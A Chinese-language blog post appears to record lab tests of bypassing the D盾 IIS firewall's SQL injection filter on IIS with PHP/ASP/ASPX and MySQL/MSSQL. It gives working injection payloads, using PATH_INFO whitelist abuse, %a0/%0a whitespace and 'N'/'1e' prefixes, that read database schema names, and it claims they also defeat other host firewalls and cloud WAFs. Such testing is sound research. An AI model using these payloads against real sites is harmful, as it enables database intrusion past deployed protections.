0X01 前言
D盾_IIS防火墙，目前只支持Win2003服务器，前阵子看见官方博客说D盾新版将近期推出，相信功能会更强大，这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略，如下图，主要防御GET/POST/COOKIE，文件允许白名单设置。构造不同的测试环境，IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL)，看到这边的策略，主要的测试思路：
a、白名单 b、绕过union select或select from的检测
0X02 IIS+PHP+MYSQL
搭建这个window2003+IIS+php+mysql，可花费不少时间，测试过程还蛮顺利的，先来一张拦截图：
绕过姿势一：白名单
PHP中的PATH_INFO问题，简单来说呢，就是
http:/x.x.x.x/3.php?id=1 等价于 http://x.x.x.x/3.php/xxxxxxxxxxxxx?id=1
从白名单中随便挑个地址加在后面，可成功bypass，http://10.9.10.206/3.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
经测试，GET、POST、COOKIE均有效，完全bypass
绕过姿势二：空白字符
Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0；
测试了一下，基本上针对MSSQL的[0x01-0x20]都被处理了，唯独在Mysql中还有一个%a0可以利用，可以看到%a0与select合体，无法识别，从而绕过。
id=1 union%a0select 1,2,3 from admin
绕过姿势三：N形式
主要思考问题，如何绕过union select以及select from？
如果说上一个姿势是union和select之间的位置的探索，那么是否可以考虑在union前面进行检测呢？
为此在参数与union的位置，经测试，发现N可以绕过union select检测，同样方式绕过select from的检测。
id=Nunion(select 1,schema_name,Nfrom information_schema.schemata)
0X03 IIS+ASP/ASPX+MSSQL
搭建IIS+ASP/ASPX+MSSQL环境，思路一致，只是语言与数据库特性有些许差异，继续来张D盾拦截图：
绕过姿势一：白名单
ASP： 不支持，找不到路径，而且D盾禁止执行带非法字符或特殊目录的脚本（/1.asp/x），撤底没戏了
/admin.php/../1.asp?id=1 and 1=1 拦截
/1.asp?b=admin.php&id=1 and 1=1 拦截，可见D盾会识别到文件的位置，并不是只检测URL存在白名单那么简单了。。。
ASPX：与PHP类似 /1.aspx/admin.php?id=1 union select 1,2,TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass
绕过姿势二：空白字符
Mssql可以利用的空白字符有：01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
[0x01-0x20]全部都被处理了，想到mysql %a0的漏网之鱼是否可以利用一下?
ASP+MSSQL: 不支持%a0，已放弃。。。
ASPX+MSSQL: %a0+%0a配合，可成功绕过union select的检测
id=1 union%a0%0aselect 1,2,TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES
绕过姿势三：1E形式
MSSQL属于强类型，这边的绕过是有限制，from前一位显示位为数字类型，这样才能用1efrom绕过select from。
只与数据库有关，与语言无关，故ASP与ASPX一样，可bypass，id=1eunion select 1,TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES
0X04 END
不同语言，中间件，数据库，所对应的特性有些差异，思路却一致，实践出真知，只要动手去探索，还有更多姿势等待被挖掘。
目前的测试成果，可成功bypass注入防御，如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf，有些姿势都在用。
有对这方面研究的童鞋，欢迎加好友交流一下姿势。
暂无评论内容